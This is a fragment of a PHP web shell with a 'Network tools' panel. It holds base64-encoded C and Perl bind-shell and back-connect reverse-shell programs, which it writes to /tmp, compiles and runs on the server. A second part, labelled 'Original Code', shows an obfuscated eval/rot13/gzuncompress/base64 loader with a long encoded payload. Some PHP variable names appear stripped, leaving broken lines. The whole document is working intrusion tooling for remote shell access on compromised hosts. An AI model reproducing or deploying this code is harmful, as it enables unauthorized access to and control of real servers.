                                                    $back_connect_c = 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9';
                                                    $back_connect_p = 'IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7';
                                                    $bind_port_c = 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9';
                                                    $bind_port_p = 'IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=';
                                                    echo "<h1>Network tools</h1><div class=content> 
    <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'> 
    <span>Bind port to /bin/sh</span><br/> 
    Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'> 
    </form> 
    <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'> 
    <span>Back-connect to</span><br/> 
    Server: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'> 
    </form><br>";
                                                    if (isset($_POST['p1'])) {
                                                        function cf($f, $t) {
                                                            ($w = @fopen($f, 'w')) or @function_exists('file_put_contents');
                                                            if ($w) {
                                                                @fwrite($w, base64_decode($t)) or @fputs($w, base64_decode($t)) or @file_put_contents($f, base64_decode($t));
                                                                @fclose($w);
                                                            }
                                                        }
                                                        if ($_POST['p1'] == 'bpc') {
                                                            cf('/tmp/bp.c', $bind_port_c);
                                                            $ = ex('gcc -o /tmp/bp /tmp/bp.c');
                                                            @unlink('/tmp/bp.c');
                                                            $.= ex('/tmp/bp ' . $_POST['p2'] . ' ' . $_POST['p3'] . ' &');
                                                            echo "<pre class=ml1>$" . ex('ps aux | grep bp') . '</pre>';
                                                        }
                                                        if ($_POST['p1'] == 'bpp') {
                                                            cf('/tmp/bp.pl', $bind_port_p);
                                                            $ = ex(which('perl') . ' /tmp/bp.pl ' . $_POST['p2'] . ' &');
                                                            echo "<pre class=ml1>$" . ex('ps aux | grep bp.pl') . '</pre>';
                                                        }
                                                        if ($_POST['p1'] == 'bcc') {
                                                            cf('/tmp/bc.c', $back_connect_c);
                                                            $ = ex('gcc -o /tmp/bc /tmp/bc.c');
                                                            @unlink('/tmp/bc.c');
                                                            $.= ex('/tmp/bc ' . $_POST['p2'] . ' ' . $_POST['p3'] . ' &');
                                                            echo "<pre class=ml1>$" . ex('ps aux | grep bc') . '</pre>';
                                                        }
                                                        if ($_POST['p1'] == 'bcp') {
                                                            cf('/tmp/bc.pl', $back_connect_p);
                                                            $ = ex(which('perl') . ' /tmp/bc.pl ' . $_POST['p2'] . ' ' . $_POST['p3'] . ' &');
                                                            echo "<pre class=ml1>$" . ex('ps aux | grep bc.pl') . '</pre>';
                                                        }
                                                    }
                                                    echo '</div>';
                                                    hardFooter();
                                                }
                                                if (empty($_POST['a'])) {
                                                    if (isset($) && function_exists('action' . $)) {
                                                        $_POST['a'] = $;
                                                    } else {
                                                        $_POST['a'] = 'FilesMan';
                                                    }
                                                }
                                                if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
                                                    call_user_func('action' . $_POST['a']);
                                                }
?>

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzuncompress(base64_decode('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqamPOpaPjrmwlSe8vz3jv3KnqUYnowLeJEmbpTtQ5VmqGj2g9eSdM4bSlhSrMxF7ji4/FMYMIlLHhZasZ6JUfR7/QJb/UJuWK1dIKlC8yG6bHYeyMLQiSVBJdcxGBq9Z4Z2xJtNw8mUMda5+rHuM8l5FQgZ7DdPCJv2wq+lxnjcx14udDCDFtrgLLQLwRMbrBQgj+X8QGz8E9e'))));
eval($MctRJwTzX($RGGcrQBfUjR('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